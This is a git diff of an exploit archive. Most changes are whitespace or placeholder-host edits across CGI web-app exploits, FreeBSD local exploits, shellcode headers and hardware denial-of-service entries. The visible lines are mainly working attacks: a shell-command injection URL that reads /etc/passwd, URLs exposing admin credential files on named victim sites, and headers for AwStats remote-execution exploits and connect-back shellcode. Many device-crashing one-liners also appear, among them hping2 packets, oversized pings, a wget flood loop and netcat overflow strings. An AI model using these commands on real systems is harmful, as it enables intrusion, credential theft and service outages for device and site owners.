a/platforms/cgi/webapps/6864.txt b/platforms/cgi/webapps/6864.txt index dac4c6a74..a39ea6740 100755 --- a/platforms/cgi/webapps/6864.txt +++ b/platforms/cgi/webapps/6864.txt @@ -1,4 +1,4 @@ -_____ ____ __ __ _ ____ ____ ____ + _____ ____ __ __ _ ____ ____ ____ |_ _| | _ \ \ \ / / / \ / ___| / ___| / ___| | | | |_) | \ V / / _ \ | | _ | | | | | | | _ < | | / ___ \ | |_| | _ | |___ | |___ diff --git a/platforms/cgi/webapps/7404.txt b/platforms/cgi/webapps/7404.txt index b60fc2065..6c01b099c 100755 --- a/platforms/cgi/webapps/7404.txt +++ b/platforms/cgi/webapps/7404.txt @@ -6,7 +6,7 @@ Author : ZeN Website : http://dusecurity.com / http://darkcode.me/ Exploit : -server/cgi-bin/htmpl_admin.cgi?help=|cat /etc/passwd +site.com/cgi-bin/htmpl_admin.cgi?help=|cat /etc/passwd A few other little..... tricks diff --git a/platforms/cgi/webapps/772.c b/platforms/cgi/webapps/772.c index c699b717d..75eff1374 100755 --- a/platforms/cgi/webapps/772.c +++ b/platforms/cgi/webapps/772.c @@ -1,4 +1,4 @@ -/* + /* AwStats exploit by Thunder, molnar_rcs@yahoo.com This exploit makes use of the remote command execution bug discovered in diff --git a/platforms/cgi/webapps/7753.pl b/platforms/cgi/webapps/7753.pl index a4187e117..8a8d28562 100755 --- a/platforms/cgi/webapps/7753.pl +++ b/platforms/cgi/webapps/7753.pl @@ -15,7 +15,7 @@ http://darkcode.me/ }; -$host = 'server'; +$host = 'site.com'; $port = '80'; $path = '/cgi-bin/cilla.cgi'; diff --git a/platforms/cgi/webapps/8085.txt b/platforms/cgi/webapps/8085.txt index 1c3ff7497..8e2083b86 100755 --- a/platforms/cgi/webapps/8085.txt +++ b/platforms/cgi/webapps/8085.txt @@ -7,7 +7,7 @@ Website: http://Pouya-Server.ir --------------------------------------------------------- ######################################################### [Xpl]: -http://server/cgi-bin/budmail/data/admin.dat +http://site.com/cgi-bin/budmail/data/admin.dat ------------------------------------------ Victem : http://www.ttscreens.co.uk diff --git a/platforms/cgi/webapps/8086.txt b/platforms/cgi/webapps/8086.txt index 184b7c004..ae19c846a 100755 --- a/platforms/cgi/webapps/8086.txt +++ b/platforms/cgi/webapps/8086.txt @@ -7,7 +7,7 @@ Website: http://Pouya-Server.ir --------------------------------------------------------- ######################################################### [Xpl]: -http://server/firebook/data/admdat/admin.dat +http://site.com/firebook/data/admdat/admin.dat ------------------------------------------ Victem : http://www.elsapo77.com diff --git a/platforms/cgi/webapps/8087.txt b/platforms/cgi/webapps/8087.txt index 725e7863e..94f620575 100755 --- a/platforms/cgi/webapps/8087.txt +++ b/platforms/cgi/webapps/8087.txt @@ -6,7 +6,7 @@ Website: http://Pouya-Server.ir --------------------------------------------------------- ######################################################### [Xpl]: -http://server/[Path]/admdat/admin.dat +http://site.com/[Path]/admdat/admin.dat ------------------------------------------ Victem : http://www.comp-tech.at/guestbook/users/demo diff --git a/platforms/cgi/webapps/853.c b/platforms/cgi/webapps/853.c index e86bef6a9..f0df9235b 100755 --- a/platforms/cgi/webapps/853.c +++ b/platforms/cgi/webapps/853.c @@ -244,7 +244,7 @@ void usage(char *argv[]){ printf(" '/cgi-bin/awstats.pl' is default\n"); printf(" if no directory is specified\n\n"); printf(" -v verbose mode (optional)\n\n"); - printf("example: %s -d /stats/awstats.pl webserver\n\n", argv[0]); + printf("example: %s -d /stats/awstats.pl website.com\n\n", argv[0]); exit(1); } diff --git a/platforms/cgi/webapps/922.pl b/platforms/cgi/webapps/922.pl index 70d67a831..a42e88b16 100755 --- a/platforms/cgi/webapps/922.pl +++ b/platforms/cgi/webapps/922.pl @@ -1,4 +1,4 @@ -#!/usr/bin/perl + #!/usr/bin/perl ############################################################ # Target - The Includer CGI <= 1.0 # diff --git a/platforms/freebsd/local/19346.c b/platforms/freebsd/local/19346.c index 8791d8038..f962d804d 100755 --- a/platforms/freebsd/local/19346.c +++ b/platforms/freebsd/local/19346.c @@ -27,4 +27,4 @@ exit(1); sleep(100); exit(0); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/freebsd/local/19685.txt b/platforms/freebsd/local/19685.txt index 28c8edde3..94ee22a2a 100755 --- a/platforms/freebsd/local/19685.txt +++ b/platforms/freebsd/local/19685.txt @@ -11,4 +11,4 @@ Monitoring 2 devices for activity. {Left-click on the little window that appears} current stat is :1 $ id -uid=1000(steve) gid=1000(steve) egid=2(kmem) groups=2(kmem), 1000(steve) \ No newline at end of file +uid=1000(steve) gid=1000(steve) egid=2(kmem) groups=2(kmem), 1000(steve) \ No newline at end of file diff --git a/platforms/freebsd/local/19756.txt b/platforms/freebsd/local/19756.txt index d2edcc339..556aefd4f 100755 --- a/platforms/freebsd/local/19756.txt +++ b/platforms/freebsd/local/19756.txt @@ -6,4 +6,4 @@ It should be noted that neither of these programs are truly part of FreeBSD. The Exploit: -asmon -e "xterm" \ No newline at end of file +asmon -e "xterm" \ No newline at end of file diff --git a/platforms/freebsd/local/21114.txt b/platforms/freebsd/local/21114.txt index 81496d8ad..6e1b375b3 100755 --- a/platforms/freebsd/local/21114.txt +++ b/platforms/freebsd/local/21114.txt @@ -16,4 +16,4 @@ or Otherwise, if accessing the system via login, make the following entry in a .login.conf: -default: :nologin=/etc/master.passwd: \ No newline at end of file +default: :nologin=/etc/master.passwd: \ No newline at end of file diff --git a/platforms/freebsd/remote/20732.pl b/platforms/freebsd/remote/20732.pl index 28bf65a0c..11b3e76e5 100755 --- a/platforms/freebsd/remote/20732.pl +++ b/platforms/freebsd/remote/20732.pl @@ -162,4 +162,4 @@ close SOCKET; exit; --- \ No newline at end of file +-- \ No newline at end of file diff --git a/platforms/freebsd/webapps/24439.txt b/platforms/freebsd/webapps/24439.txt index c6bb65bf9..13fb56b2d 100755 --- a/platforms/freebsd/webapps/24439.txt +++ b/platforms/freebsd/webapps/24439.txt @@ -49,3 +49,4 @@ Dimitris Strevinas Obrela Security Industries CONTACT: www.obrela.com + \ No newline at end of file diff --git a/platforms/freebsd_x86-64/shellcode/13280.c b/platforms/freebsd_x86-64/shellcode/13280.c index 40f2c4fea..60bf68b67 100755 --- a/platforms/freebsd_x86-64/shellcode/13280.c +++ b/platforms/freebsd_x86-64/shellcode/13280.c @@ -1,4 +1,4 @@ -/* + /* Anderson Eduardo < c0d3_z3r0 > Hack'n Roll http://anderson.hacknroll.com diff --git a/platforms/freebsd_x86/shellcode/13262.txt b/platforms/freebsd_x86/shellcode/13262.txt index be4939b62..3063076e2 100755 --- a/platforms/freebsd_x86/shellcode/13262.txt +++ b/platforms/freebsd_x86/shellcode/13262.txt @@ -1,4 +1,4 @@ -***(C)oDed bY suN8Hclf*** + ***(C)oDed bY suN8Hclf*** DaRk-CodeRs Group production, kid [FreeBSD x86 setreuid(0, 0) + execve(pfctl -d) 56 bytes] diff --git a/platforms/freebsd_x86/shellcode/13263.txt b/platforms/freebsd_x86/shellcode/13263.txt index e5dad4427..5c94c255e 100755 --- a/platforms/freebsd_x86/shellcode/13263.txt +++ b/platforms/freebsd_x86/shellcode/13263.txt @@ -1,4 +1,4 @@ -***(C)oDed bY suN8Hclf*** + ***(C)oDed bY suN8Hclf*** DaRk-CodeRs Group production, kid [FreeBSD x86 connect back.send.exit /etc/passwd 112 bytes] diff --git a/platforms/freebsd_x86/shellcode/13264.txt b/platforms/freebsd_x86/shellcode/13264.txt index 51f274590..293381703 100755 --- a/platforms/freebsd_x86/shellcode/13264.txt +++ b/platforms/freebsd_x86/shellcode/13264.txt @@ -1,4 +1,4 @@ -***(C)oDed bY suN8Hclf*** + ***(C)oDed bY suN8Hclf*** DaRk-CodeRs Group productions, kid [FreeBSD x86 kill all procesess 12 bytes shellcode] diff --git a/platforms/hardware/dos/10237.txt b/platforms/hardware/dos/10237.txt index 98a9fc78e..80a26b060 100755 --- a/platforms/hardware/dos/10237.txt +++ b/platforms/hardware/dos/10237.txt @@ -14,4 +14,4 @@ $ ping $ip_address # works the one-liner: $ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$ip_address"'\r\nAuthenticate: " . 'A' x 1024 . "\r\n\r\n"' | nc "$ip_address" 80 -$ ping $ip_address # doesn't work \ No newline at end of file +$ ping $ip_address # doesn't work \ No newline at end of file diff --git a/platforms/hardware/dos/11880.txt b/platforms/hardware/dos/11880.txt index 8b89968ec..a54c6b1d2 100755 --- a/platforms/hardware/dos/11880.txt +++ b/platforms/hardware/dos/11880.txt @@ -107,3 +107,4 @@ close $sock; ##################################################################################### (PRL-2010-01) + \ No newline at end of file diff --git a/platforms/hardware/dos/12252.txt b/platforms/hardware/dos/12252.txt index ef1e3d631..810c57c5b 100755 --- a/platforms/hardware/dos/12252.txt +++ b/platforms/hardware/dos/12252.txt @@ -115,4 +115,4 @@ posted regularly on our website. Contact: research [at] dsecrg [dot] com -http://www.dsecrg.com \ No newline at end of file +http://www.dsecrg.com \ No newline at end of file diff --git a/platforms/hardware/dos/19064.txt b/platforms/hardware/dos/19064.txt index 2a1f96474..5bc6b8ecc 100755 --- a/platforms/hardware/dos/19064.txt +++ b/platforms/hardware/dos/19064.txt @@ -1,4 +1,4 @@ -Matta Consulting - Matta Advisory + Matta Consulting - Matta Advisory https://www.trustmatta.com F5 BIG-IP remote root authentication bypass Vulnerability diff --git a/platforms/hardware/dos/19436.txt b/platforms/hardware/dos/19436.txt index 9854f23fb..2fe79c596 100755 --- a/platforms/hardware/dos/19436.txt +++ b/platforms/hardware/dos/19436.txt @@ -14,4 +14,4 @@ nmap is a very powerful port scanner. With this command it does only a PING and To verify that your connections table is quickly growing, try "fw tab -t connections -s" at 10 second intervals. -Tested on ver 4.0 SP3 on Solaris x86 2.6. \ No newline at end of file +Tested on ver 4.0 SP3 on Solaris x86 2.6. \ No newline at end of file diff --git a/platforms/hardware/dos/19477.txt b/platforms/hardware/dos/19477.txt index 15fde399e..47416f31f 100755 --- a/platforms/hardware/dos/19477.txt +++ b/platforms/hardware/dos/19477.txt @@ -6,8 +6,8 @@ telnet to Gateway smtp server and enter the following commands: HELO MAIL FROM: invalid@remote.com -RCPT TO: invalid@server +RCPT TO: invalid@target.com DATA . -QUIT \ No newline at end of file +QUIT \ No newline at end of file diff --git a/platforms/hardware/dos/19513.txt b/platforms/hardware/dos/19513.txt index 3a2972c7c..caf8fdac6 100755 --- a/platforms/hardware/dos/19513.txt +++ b/platforms/hardware/dos/19513.txt @@ -4,4 +4,4 @@ A vulnerability in the Diva LAN ISDN Modem allows remote malicious users to lock The vulnerability manifests itself when a remote users connects to the Diva HTTP port and sends a GET request of the form 'login.html?password=<very long string>'. -Enter the URL 'http://diva/login.htm?password=0123456789012345678901234567890123456789' into your browser, where 'diva' is the IP address of the modem. \ No newline at end of file +Enter the URL 'http://diva/login.htm?password=0123456789012345678901234567890123456789' into your browser, where 'diva' is the IP address of the modem. \ No newline at end of file diff --git a/platforms/hardware/dos/20090.txt b/platforms/hardware/dos/20090.txt index d5fc04d0a..451b3cc64 100755 --- a/platforms/hardware/dos/20090.txt +++ b/platforms/hardware/dos/20090.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/1491/info HP JetDirect firmware is vulnerable to a Denial of Service attack. JetDirect devices have an FTP service which fails to properly handle bad FTP commands sent with the ftp "quote" command. This causes the device to stop responding and possibly display an error message. Powering the device off and on is required to regain normal functionality. ftp <printer address> -quote AAAAAAAAAAA \ No newline at end of file +quote AAAAAAAAAAA \ No newline at end of file diff --git a/platforms/hardware/dos/20487.pl b/platforms/hardware/dos/20487.pl index 97c9361bc..f92b4b229 100755 --- a/platforms/hardware/dos/20487.pl +++ b/platforms/hardware/dos/20487.pl @@ -41,4 +41,4 @@ $counter += 1; } print "\nDone.\n\n"; -close($socket); \ No newline at end of file +close($socket); \ No newline at end of file diff --git a/platforms/hardware/dos/20734.sh b/platforms/hardware/dos/20734.sh index cb0c3f7b3..645519dc1 100755 --- a/platforms/hardware/dos/20734.sh +++ b/platforms/hardware/dos/20734.sh @@ -11,4 +11,4 @@ pixfirewall# aaa authentication Any configurations not including aaa authentication are not affected. -while (true); do (wget http://external.system 2>/dev/null &); done \ No newline at end of file +while (true); do (wget http://external.system 2>/dev/null &); done \ No newline at end of file diff --git a/platforms/hardware/dos/21465.txt b/platforms/hardware/dos/21465.txt index 6f5010c85..f9c296f6d 100755 --- a/platforms/hardware/dos/21465.txt +++ b/platforms/hardware/dos/21465.txt @@ -23,4 +23,4 @@ linuxbox# make libpackets.a linuxbox# gcc -o icmp_redflod -I. -L. icmp_redflod.c -lpackets linuxbox# ./icmp_redflod -i eth0 -D <destination_ip> -G <fake_gateway> -On high bandwidth networks, the command line switch -w0 can be used to increase the sending rate. \ No newline at end of file +On high bandwidth networks, the command line switch -w0 can be used to increase the sending rate. \ No newline at end of file diff --git a/platforms/hardware/dos/21561.txt b/platforms/hardware/dos/21561.txt index 3c483d2a7..ef7c519d0 100755 --- a/platforms/hardware/dos/21561.txt +++ b/platforms/hardware/dos/21561.txt @@ -35,4 +35,4 @@ SYN=1 !Sleep 1000 -!Display=$done \ No newline at end of file +!Display=$done \ No newline at end of file diff --git a/platforms/hardware/dos/21656.txt b/platforms/hardware/dos/21656.txt index 02df2a58a..22a6dee87 100755 --- a/platforms/hardware/dos/21656.txt +++ b/platforms/hardware/dos/21656.txt @@ -4,4 +4,4 @@ The Lucent Access Point series of routers support a web based administrative int It has been reported that sending a HTTP request consisting of approximately 4000 characters of data will cause the device to reboot. This may result in an interruption of service for legitimate users of the device. -wget `perl -e 'print "http://router_ip/"; print "A"x4000; print "/";` \ No newline at end of file +wget `perl -e 'print "http://router_ip/"; print "A"x4000; print "/";` \ No newline at end of file diff --git a/platforms/hardware/dos/21657.txt b/platforms/hardware/dos/21657.txt index 4ceb6066d..3acbe958d 100755 --- a/platforms/hardware/dos/21657.txt +++ b/platforms/hardware/dos/21657.txt @@ -4,4 +4,4 @@ An issue has been reported with the HP ProCurve 4000M Switch. An attacker with SNMP write access to the device may write to the SNMP variable .iso.3.6.1.4.1.11.2.36.1.1.2.1.0. If more than 85 characters are written to this variable, the device will crash the next time it accepts a connection to either the configured telnet or HTTP port. -snmpwrite <switch_ip> private .iso.3.6.1.4.1.11.2.36.1.1.2.1.0 s `perl -e 'print "A"x85;'` \ No newline at end of file +snmpwrite <switch_ip> private .iso.3.6.1.4.1.11.2.36.1.1.2.1.0 s `perl -e 'print "A"x85;'` \ No newline at end of file diff --git a/platforms/hardware/dos/21756.txt b/platforms/hardware/dos/21756.txt index 1cd26e2bc..c20931175 100755 --- a/platforms/hardware/dos/21756.txt +++ b/platforms/hardware/dos/21756.txt @@ -6,4 +6,4 @@ Reportedly, this issue may be exploited by making a sequence of SNMP requests. A Under some conditions, the device may also fail to respond on the ethernet interface. -snmpwalk <ip address> <arbitrary objectID> \ No newline at end of file +snmpwalk <ip address> <arbitrary objectID> \ No newline at end of file diff --git a/platforms/hardware/dos/21791.txt b/platforms/hardware/dos/21791.txt index c2adcfd86..9b63a6129 100755 --- a/platforms/hardware/dos/21791.txt +++ b/platforms/hardware/dos/21791.txt @@ -4,4 +4,4 @@ The SSR8000 is a SmartSwitch distributed and maintained by Enterasys. It has been discovered that SSR8000 switches react unpredictably when portscanned. When these switches are scanned using specific types of TCP traffic, and scanned on certain ports, the switch becomes unstable. It has been reported that this can be reproduced consistently to cause the switch to crash. -nmap -PT 10.2.1.1 -p '15077-15078' \ No newline at end of file +nmap -PT 10.2.1.1 -p '15077-15078' \ No newline at end of file diff --git a/platforms/hardware/dos/21939.txt b/platforms/hardware/dos/21939.txt index e4455a335..dd82e0205 100755 --- a/platforms/hardware/dos/21939.txt +++ b/platforms/hardware/dos/21939.txt @@ -6,4 +6,4 @@ The device may need to be restarted to regain normal functionality. perl -e 'print "GET " . "/" . " HTTP/1.1\r\n"' | netcat 10.1.3.54 3603 & -Issue the above command four or more times to cause the denial of service condition. \ No newline at end of file +Issue the above command four or more times to cause the denial of service condition. \ No newline at end of file diff --git a/platforms/hardware/dos/21971.txt b/platforms/hardware/dos/21971.txt index 0690c7a80..64b45e6b9 100755 --- a/platforms/hardware/dos/21971.txt +++ b/platforms/hardware/dos/21971.txt @@ -6,4 +6,4 @@ This issue was reported for Cisco AS5350 devices running Cisco IOS release 12.2( There are conflicting reports regarding the existence of this vulnerability. One source states that this condition reportedly does not occur if there are no Access Control Lists (ACL) applied on the device and also mentions that this may be related to a known SSH bug. Other sources have indicated that the issue may be related to a configuration problem. -nmap -Tinsane -p 1-65535 <target> \ No newline at end of file +nmap -Tinsane -p 1-65535 <target> \ No newline at end of file diff --git a/platforms/hardware/dos/21975.txt b/platforms/hardware/dos/21975.txt index 1dcf8b809..423811779 100755 --- a/platforms/hardware/dos/21975.txt +++ b/platforms/hardware/dos/21975.txt @@ -4,4 +4,4 @@ Linksys BEFSR41 is vulnerable to a denial of service condition. The denial of service condition will be triggered when the device receives a request for the script file 'Gozila.cgi' without any parameters. -http://192.168.1.1/Gozila.cgi? \ No newline at end of file +http://192.168.1.1/Gozila.cgi? \ No newline at end of file diff --git a/platforms/hardware/dos/21978.txt b/platforms/hardware/dos/21978.txt index eacc85747..7d143eceb 100755 --- a/platforms/hardware/dos/21978.txt +++ b/platforms/hardware/dos/21978.txt @@ -9,4 +9,4 @@ Rebooting the device is necessary to restore functionality. Although not yet confirmed, it has been speculated that this issue is a result of a buffer overflow. GET / HTTP/1.1 -Host: <lots of characters> \ No newline at end of file +Host: <lots of characters> \ No newline at end of file diff --git a/platforms/hardware/dos/22647.txt b/platforms/hardware/dos/22647.txt index 81e0fdcdf..7d9c1686c 100755 --- a/platforms/hardware/dos/22647.txt +++ b/platforms/hardware/dos/22647.txt @@ -25,4 +25,4 @@ D=......................................................................... ........................................................................... ........................................................................... ........................................................................... -.................... \ No newline at end of file +.................... \ No newline at end of file diff --git a/platforms/hardware/dos/22739.py b/platforms/hardware/dos/22739.py index 393ca658d..3313105c7 100755 --- a/platforms/hardware/dos/22739.py +++ b/platforms/hardware/dos/22739.py @@ -104,4 +104,4 @@ if __name__ == "__main__": for i in range(10000): frame = generator.next() time.sleep(0.100) - context.send_bytes(frame) \ No newline at end of file + context.send_bytes(frame) \ No newline at end of file diff --git a/platforms/hardware/dos/22797.txt b/platforms/hardware/dos/22797.txt index 7a85ba01a..5c51075ba 100755 --- a/platforms/hardware/dos/22797.txt +++ b/platforms/hardware/dos/22797.txt @@ -4,4 +4,4 @@ It has been reported that Cajun switches do not properly handle traffic to port The following proof of concept string has been made available: -\x80dupa \ No newline at end of file +\x80dupa \ No newline at end of file diff --git a/platforms/hardware/dos/23508.txt b/platforms/hardware/dos/23508.txt index 3cefe4c55..c8e18b2a6 100755 --- a/platforms/hardware/dos/23508.txt +++ b/platforms/hardware/dos/23508.txt @@ -4,4 +4,4 @@ A problem has been identified in the YaSoft Switch Off software package when han perl -e "print 'a'x10240 . chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a);" > DoS.txt -nc 127.0.0.1 8000 < DoS.txt \ No newline at end of file +nc 127.0.0.1 8000 < DoS.txt \ No newline at end of file diff --git a/platforms/hardware/dos/25082.txt b/platforms/hardware/dos/25082.txt index 64fb08648..754f291c0 100755 --- a/platforms/hardware/dos/25082.txt +++ b/platforms/hardware/dos/25082.txt @@ -10,4 +10,4 @@ $ wget --post-data="Br1Ce2N1c3" http://192.168.1.2/ Connecting to 192.168.1.2:80... connected. HTTP request sent, awaiting response... -=> And the PSUS4 is crashed. \ No newline at end of file +=> And the PSUS4 is crashed. \ No newline at end of file diff --git a/platforms/hardware/dos/25277.txt b/platforms/hardware/dos/25277.txt index 3fff40348..2bfd49166 100755 --- a/platforms/hardware/dos/25277.txt +++ b/platforms/hardware/dos/25277.txt @@ -7,4 +7,4 @@ An attacker can exploit this condition by sending a large amount of ping request A successful attack can deny service to legitimate users. Send four consecutive requests of -ping -l 65500 -w 0 -t <IP of DSL Modem> \ No newline at end of file +ping -l 65500 -w 0 -t <IP of DSL Modem> \ No newline at end of file diff --git a/platforms/hardware/dos/25402.txt b/platforms/hardware/dos/25402.txt index 624189a29..d7cbb0b2f 100755 --- a/platforms/hardware/dos/25402.txt +++ b/platforms/hardware/dos/25402.txt @@ -9,4 +9,4 @@ TO RESET IT USE THIS CODE: 277634#*#) 1- Save a mms draft with a dummy midi file 2- Connect mobile phone to PC and overwrite the dummy file with 'lgfreeze.mid'. -3- Send the mms draft. \ No newline at end of file +3- Send the mms draft. \ No newline at end of file diff --git a/platforms/hardware/dos/25711.txt b/platforms/hardware/dos/25711.txt index d0ada4b6b..2903e3f2b 100755 --- a/platforms/hardware/dos/25711.txt +++ b/platforms/hardware/dos/25711.txt @@ -16,4 +16,4 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); ---- snip --- Chose any existing file and send it using obexftp: -# ./obexftp -b 00:0A:D9:E7:0B:1D --channel 2 -p /etc/passwd -v \ No newline at end of file +# ./obexftp -b 00:0A:D9:E7:0B:1D --channel 2 -p /etc/passwd -v \ No newline at end of file diff --git a/platforms/hardware/dos/25736.txt b/platforms/hardware/dos/25736.txt index 1449bbf38..e71093ca3 100755 --- a/platforms/hardware/dos/25736.txt +++ b/platforms/hardware/dos/25736.txt @@ -26,4 +26,4 @@ URL;WORK; EMAIL;PREF;INTERNET:bialoglowy@gmail.com REV:20050430T1958490 END:VCARD ---- Nokia9500.vcf --- \ No newline at end of file +--- Nokia9500.vcf --- \ No newline at end of file diff --git a/platforms/hardware/dos/25967.txt b/platforms/hardware/dos/25967.txt index a02241d8f..0569791cb 100755 --- a/platforms/hardware/dos/25967.txt +++ b/platforms/hardware/dos/25967.txt @@ -8,4 +8,4 @@ This issue may be exploited to cause the affected application to restart, denyin This issue was originally documented in BID 14227. -wget http://www.example.com:2000 \ No newline at end of file +wget http://www.example.com:2000 \ No newline at end of file diff --git a/platforms/hardware/dos/26754.txt b/platforms/hardware/dos/26754.txt index 3be1beeb4..d3b55b0c3 100755 --- a/platforms/hardware/dos/26754.txt +++ b/platforms/hardware/dos/26754.txt @@ -6,4 +6,4 @@ This issue allows remote VPN users to bypass the administratively-defined securi :Loop copy x.scv local.scv -goto Loop \ No newline at end of file +goto Loop \ No newline at end of file diff --git a/platforms/hardware/dos/26825.txt b/platforms/hardware/dos/26825.txt index 18a557ee3..1d2734905 100755 --- a/platforms/hardware/dos/26825.txt +++ b/platforms/hardware/dos/26825.txt @@ -8,4 +8,4 @@ This issue allows remote attackers to crash affected devices, or to temporarily Linksys BEFW11S4 and WRT54GS devices are reportedly affected by this issue. Due to code reuse among devices, other devices may also be affected. -hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1 \ No newline at end of file +hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1 \ No newline at end of file diff --git a/platforms/hardware/dos/26833.txt b/platforms/hardware/dos/26833.txt index 59aa029dc..56834d7ed 100755 --- a/platforms/hardware/dos/26833.txt +++ b/platforms/hardware/dos/26833.txt @@ -8,4 +8,4 @@ This issue allows remote attackers to crash affected devices, or to temporarily As no specific Cisco devices were identified by the reporter of this issue, all Cisco Catalyst devices have been marked as vulnerable. This BID will be updated as further information on affected packages is available. -hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1 \ No newline at end of file +hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1 \ No newline at end of file diff --git a/platforms/hardware/dos/26834.txt b/platforms/hardware/dos/26834.txt index 183b3380d..710488deb 100755 --- a/platforms/hardware/dos/26834.txt +++ b/platforms/hardware/dos/26834.txt @@ -10,4 +10,4 @@ Westell Versalink 327W is reportedly affected by this issue. Due to code reuse a The following Hping2 command is sufficient to crash affected devices. The IP addresses must both be configured on the targeted device: -hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1 \ No newline at end of file +hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1 \ No newline at end of file diff --git a/platforms/hardware/dos/26835.txt b/platforms/hardware/dos/26835.txt index ac009f261..a2ea46ee6 100755 --- a/platforms/hardware/dos/26835.txt +++ b/platforms/hardware/dos/26835.txt @@ -10,4 +10,4 @@ Scientific Atlanta DPX2100 cable modems are reportedly affected by this issue. D The following Hping2 command is sufficient to crash affected devices. The IP addresses must both be configured on the targeted device: -hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1 \ No newline at end of file +hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1 \ No newline at end of file diff --git a/platforms/hardware/dos/29767.txt b/platforms/hardware/dos/29767.txt index b941c6baa..3aef280bd 100755 --- a/platforms/hardware/dos/29767.txt +++ b/platforms/hardware/dos/29767.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to crash the affected device, denying further This issue affects Zyxel routers running ZynOS version 3.40. -sr(SMBMailSlot(name='\\M')) \ No newline at end of file +sr(SMBMailSlot(name='\\M')) \ No newline at end of file diff --git a/platforms/hardware/dos/30167.txt b/platforms/hardware/dos/30167.txt index ce62588a9..2bbfdd538 100755 --- a/platforms/hardware/dos/30167.txt +++ b/platforms/hardware/dos/30167.txt @@ -6,4 +6,4 @@ Successfully exploiting this issue allows remote, authenticated attackers to reb PacketShaper 7.3.0g2 and 7.5.0g1 are vulnerable to this issue; other versions may also be affected. -http://www.example.com/rpttop.htm?OP.MEAS.DATAQUERY=&MEAS.TYPE= \ No newline at end of file +http://www.example.com/rpttop.htm?OP.MEAS.DATAQUERY=&MEAS.TYPE= \ No newline at end of file diff --git a/platforms/hardware/dos/30506.txt b/platforms/hardware/dos/30506.txt index 2431ef87b..6a1480eb1 100755 --- a/platforms/hardware/dos/30506.txt +++ b/platforms/hardware/dos/30506.txt @@ -11,4 +11,4 @@ This issue is documented as Cisco bug ID CSCsb08386. Cisco IOS releases in the 12.0, 12.1, 12.2, 12.3, and 12.4 ranges are vulnerable to this issue. show ip bgp regexp (.*)(_\1)+ -show ip bgp regexp ([0-9]*)(_\1)+ \ No newline at end of file +show ip bgp regexp ([0-9]*)(_\1)+ \ No newline at end of file diff --git a/platforms/hardware/dos/31306.txt b/platforms/hardware/dos/31306.txt index a22f41a16..286097187 100755 --- a/platforms/hardware/dos/31306.txt +++ b/platforms/hardware/dos/31306.txt @@ -8,4 +8,4 @@ Phones with firmware 0604DAS are vulnerable to this issue. Other versions are al The following command will demonstrate this issue: -ping -s 65500 <target> \ No newline at end of file +ping -s 65500 <target> \ No newline at end of file diff --git a/platforms/hardware/dos/31478.txt b/platforms/hardware/dos/31478.txt index e1482a9b4..e20b4f716 100755 --- a/platforms/hardware/dos/31478.txt +++ b/platforms/hardware/dos/31478.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to deny access to the device's control center f Linksys SPA-2102 Phone Adapter running firmware 3.3.6 is vulnerable; other versions may also be affected. -ping -l 65500 192.168.0.1 \ No newline at end of file +ping -l 65500 192.168.0.1 \ No newline at end of file diff --git a/platforms/hardware/dos/31884.txt b/platforms/hardware/dos/31884.txt index b6b788356..f8b92b4db 100755 --- a/platforms/hardware/dos/31884.txt +++ b/platforms/hardware/dos/31884.txt @@ -6,4 +6,4 @@ Successful exploits will deny service to legitimate users. Given the nature of t WRH54G firmware version 1.01.03 is vulnerable; other versions may also be affected. -http://192.168.1.106/./front_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_page.asp \ No newline at end of file 